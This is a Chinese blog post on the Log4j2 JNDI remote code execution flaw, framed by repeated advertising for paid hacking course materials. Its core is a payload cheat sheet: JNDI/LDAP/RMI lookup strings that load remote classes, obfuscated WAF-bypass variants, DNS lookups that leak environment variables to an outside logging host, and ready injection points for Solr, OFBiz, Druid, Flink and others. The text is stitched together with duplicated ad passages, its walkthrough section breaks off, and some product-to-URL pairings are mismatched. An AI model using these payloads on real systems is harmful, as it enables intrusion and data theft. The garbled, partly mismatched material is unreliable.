《漏洞研究》Apache Log4j2 远程代码执行漏洞_apache log4j2远程代码执行漏洞(1)

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

${}除了支持日期,还支持输出系统环境变量等功能,其实打印日期,打印系统变量这种对系统而言构不成什么威胁,最主要的原因是log4j还支持JNDI协议。JNDI它会提供一个目录系统,将服务名称与对象关联起来,类似于输入name 调用对象。调用使用的子协议,例如ldap轻量级目录访问协议,它类似于字典,即输入name查询对象包含的属性,所以JNDI支持命名引用的方式,可以远程下载一个class文件,然后加载起来构建对象。

整个攻击链条流程
攻击者在漏洞点注入表达式如:
-->${jndi:ldap://xxx.xxx.xxx/exploit}
-->log4j2支持lookup
-->JNDI
-->ldap/rmi
-->远程加载攻击者服务器上的class文件构建对象
-->执行恶意代码

0x04 漏洞核心原理

一图看懂log4j

012.jpg
当我们将外部输入的数据如浏览器类型记录到日志中时,可能会存在注入攻击的风险。比如攻击者可以在浏览器类型中注入恶意代码,造成系统安全问题。Log4j可以对字符串进行解析,如果发现${}这样的符号,就会进一步解析它,并执行对应的操作。攻击者可以利用这个漏洞,通过JNDI扩展内容请求Java对象,包括远程下载class文件并构建对象等,从而实现恶意攻击。

0x05 学习漏洞需了解

1.lookups

lookups是查找搜索的意思, 是用于查找或获取存储在不同数据结构中数据的接口,以键或索引作为查找方式。
在log4j2中,就是在输出日志的时候,通过lookup方法去查找要输出的内容**${}**,具体查询数据存储的位置和方式需要通过代码实现。
003.jpg
该接口类似于面向对象编程中的概念。所幸log4j已经为开发者封装好了常见的查找功能模块,通过使用log4j的API,我们可以轻松地查找到日志记录器并实现日志记录。

2.JNDI

根据官方文档,JNDI 全称为 (Java Naming and Directory Interface),即 JAVA命名和目录接口。
它提供一个目录系统,将服务名称与对象关联起来,简单来说就是通过名称查找实际对象的服务。

架构

JNDI体系结构主要包含三个组件:命名系统、目录系统、服务提供者接口(SPI),如下图中 JNDI 为不同的目录服务提供统一的操作接口 ,JDK 中包含了下述内置的目录服务:
001.png

命名服务

它提供了一个层次化的命名空间和标准API,可以用来将对象与名称相互映射,并提供了基本的名称解析、搜索和绑定等操作。

DNS服务 		通过域名寻找 ip 地址、
文件系统服务	 通过文件名定位到具体文件、
以及 LDAP即轻量级目录访问协议都是名称服务,不同的是 LDAP是一个协议,是和 HTTP 一样是通用的,而不止局限于 JAVA.

通俗点来讲类似于一个字典的数据源,通过JNDI这个接口,传入name进去,就能获取到对象。不同的数据源有不同的查找方式,而且JNDI也只是一个上层封装,在它下面有很多种具体的数据源,如LDAP,DNS,NIS,NDS,RMI。

目录服务

目录系统可以用来存储和查找与对象相关的元数据信息,不仅提供命名到对象的映射,还提供对象的属性信息,方便管理和检索,并提供对象属性操作执行的功能,总体来说,目录服务是名称服务的扩展,它提供了更丰富的元数据信息,提高了对象的管理和检索能力

目录服务中的对象可以有多个描述其特征和特性的属性
比如用户对象可以有用户名、密码、邮件地址、角色等属性,计算机对象可以有IP地址、MAC地址、操作系统版本等属性。

在名称服务中根据打印机名称获取打印机对象,并进行打印操作。
而用户可以通过目录服务,针对打印机需求,根据分辨率等属性进行搜索获取符合条件的打印机对象。

服务提供者接口(SPI)

SPI提供了一套标准的接口,允许开发人员实现自己的命名和目录服务。
开发人员可以根据自己的需要,实现自己的命名和目录服务,并针对这些自定义的服务实现JNDI SPI接口。

3.LDAP 轻量级目录访问协议

LDAP (轻量级目录访问协议)即是 JNDI SPI 支持的 服务接口 (Service Provider) 之一,但同时也是协议。
002.jpg
LDAP 目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,我们可以理解为是一个为可以查询、浏览和搜索而优化的分布式数据库,它呈树状结构组织数据,简单点理解:就是有一个类似于字典的数据源,可以通过LDAP协议,lookup查询传一个name进去,就能获取到数据。

4.RMI

RMI是Java中的一种远程方法调用机制,使用RMI,可以在不同的Java虚拟机(JVM)之间进行对象之间的方法调用。RMI使用了面向对象的技术,允许Java对象在远程服务器上实现具体的方法,并提供接口。客户端只需要关心接口,不需要了解方法的具体实现方式,只需提供相应的参数即可调用远程方法并获取执行结果。

0x06 根据原理构造 Payload 利用

log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,从网上大家的测试来看,主要使用 ldap 来构造 payload,详细参考这里:

1.常用payload
${jndi:ldap://127.0.0.1:1389/ Badclassname}
${jndi:ldap://xxx.xxx.xxx.xxx/exp}

//Windows
${jndi:dns://${env:OS}.dnslog.com}  		
${jndi:dns://${env:USERNAME}.dnslog.com}  	

//过waf
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}	
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exploit.class}	
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

log4j-java
IDusagemethod
1${java:version}getSystemProperty(“java.version”)
2${java:runtime}getRuntime()
3${java:vm}getVirtualMachine()
4${java:os}getOperatingSystem()
5${java:hw}getHardware()
6${java:locale}getLocale()
Linux
idusage
1${env:CLASSPATH}
2${env:HOME}
3${env:JAVA_HOME}
4${env:LANG}
5${env:LOGNAME}
6${env:MAIL}
7${env:PATH}
8${env:PWD}
9${env:SHELL}
10${env:USER}
Windows
idusage
1${env:A8_HOME}
2${env:A8_ROOT_BIN}
3${env:CLASSPATH}
4${env:JRE_HOME}
5${env:Java_Home}
6${env:LOGONSERVER}
7${env:OS}
8${env:Path}
9${env:USERDOMAIN}
10${env:USERNAME}
log4j2-sys
idusage
1${sys:java.version}
2${sys:os.name}
3${sys:os.version}
4${sys:user.name}
2.触发组件注入点
Apche OFBiz
OFBiz < v18.12.03

GET: https://0.0.0.0:8443/webtools/control/main
Cookie: OFBiz.Visitor=${jndi:ldap://0.0.0.0/123}

POST: https://0.0.0.0:8443/webtools/control/setLocaleFromBrowser
Content-Type: text/html;charset=UTF-8${jndi:ldap://0.0.0.0/123}

Apache Solr
v7.4.0 <= Solr <= v7.7.3
v8.0.0 <= Solr < v8.11.1

/solr/admin/cores?action=CREATE&name=$%7Bjndi:ldap://0.0.0.0/123%7D&wt=json

/solr/admin/info/system?_=${jndi:ldap://0.0.0.0/123}&wt=json

/solr/admin/cores?_=&action=&config=&dataDir=&instanceDir=${jndi:ldap://0.0.0.0/123}&name=&schema=&wt=

Apache Druid

burp 传 payload,阻止 url 编码

http://0.0.0.0:8888/druid/coordinator/${jndi:ldap://0.0.0.0/123}

http://0.0.0.0:8888/druid/indexer/${jndi:ldap://0.0.0.0/123}

Apache JSPWiki
JSPWiki = V2.11.0

http://0.0.0.0:8888/druid/v2/${jndi:ldap://0.0.0.0/123}

有过滤,需要使用绕过语句触发

docker pull apache/jspwiki:release-2.11.0
docker run -d -p 8080:8080 apache/jspwiki:release-2.11.0

http://0.0.0.0:8080/wiki/$%7Bjndi:ldap:$%7B::-/%7D/0.0.0.0/123%7D

Apache Filnk
四个系列:< v1.14.2, < v1.13.5, < v1.12.7, < v1.11.6

http://0.0.0.0:8080/Edit.jsp?page=Main
X-Forwarded-For:${jndi:dns://0.0.0.0/123}

url 双编码绕过 //

GET: http://0.0.0.0:8081/jars/11.jar/plan?entry-class=1¶llelism=1${jndi:dns://0.0.0.0/123}&program-args=1

Apache SkyWalking
SkyWalking < v8.9.1

POST: http://0.0.0.0:8081/jars/${jndi:ldap:%252f%252f0.0.0.0%252f123}.jar/run

3.log4j会记录的请求头
Accept-Charset
Accept-Datetime
Accept-Encoding
Accept-Language
Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
DNT
Forwarded
Forwarded-For
Forwarded-For-Ip
Forwarded-Proto
From
If-Modified-Since
Max-Forwards
Origin
Originating-Ip
Pragma
Referer
TE
True-Client-IP
True-Client-Ip
Upgrade
User-Agent
Via
Warning
X-ATT-DeviceId
X-Api-Version
X-Att-Deviceid
X-CSRFToken
X-Client-Ip
X-Correlation-ID
X-Csrf-Token
X-Do-Not-Track
X-Foo
X-Foo-Bar
X-Forward-For
X-Forward-Proto
X-Forwarded
X-Forwarded-By
X-Forwarded-For
X-Forwarded-For-Original
X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Proto
X-Forwarded-Protocol
X-Forwarded-Scheme
X-Forwarded-Server
X-Forwarded-Ssl
X-Forwarder-For
X-Frame-Options
X-From
X-Geoip-Country
X-HTTP-Method-Override
X-Http-Destinationurl
X-Http-Host-Override
X-Http-Method
X-Http-Method-Override
X-Http-Path-Override
X-Https
X-Htx-Agent
X-Hub-Signature
X-If-Unmodified-Since
X-Imbo-Test-Config
X-Insight
X-Ip
X-Ip-Trail
X-Leakix
X-Originating-Ip
X-ProxyUser-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Request-ID
X-Requested-With
X-UIDH
X-Wap-Profile
X-XSRF-TOKEN
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token

0x07 漏洞实战挖掘

漏洞复现
1.手工测试

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-0lzCS63h-1713193366359)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 19
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值